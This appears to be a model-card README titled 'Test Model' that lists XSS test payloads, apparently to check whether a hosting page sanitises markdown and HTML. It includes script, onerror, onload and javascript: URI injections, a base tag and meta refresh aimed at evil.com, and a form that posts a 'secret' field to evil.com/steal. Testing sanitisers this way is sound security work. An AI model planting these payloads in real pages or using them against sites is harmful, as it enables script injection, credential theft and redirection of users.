File size: 1,066 Bytes
01868a8
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
---
license: mit
---
# Test Model

## XSS Tests

### Image onerror
<img src=x onerror=alert(1)>

### Script tag
<script>alert(document.domain)</script>

### SVG onload
<svg onload=alert(1)>

### Markdown link with javascript
[Click me](javascript:alert(1))

### Data URI link  
[Click](data:text/html,<script>alert(1)</script>)

### HTML entities
<img src=&quot;x&quot; onerror=&quot;alert(1)&quot;>

### Iframe
<iframe src=javascript:alert(1)>

### Object tag
<object data=javascript:alert(1)>

### Embed
<embed src=javascript:alert(1)>

### Base tag (could redirect relative URLs)
<base href=https://evil.com>

### Form action
<form action=https://evil.com/steal><input type=text name=secret><button>Submit</button></form>

### Meta refresh
<meta http-equiv=refresh content="0;url=https://evil.com">

### Markdown with HTML
<details><summary>Click to expand</summary><img src=x onerror=alert(1)></details>

### Style injection
<div style="background:url(javascript:alert(1))">test</div>

### Event handlers in attributes
<div onmouseover="alert(1)">hover me</div>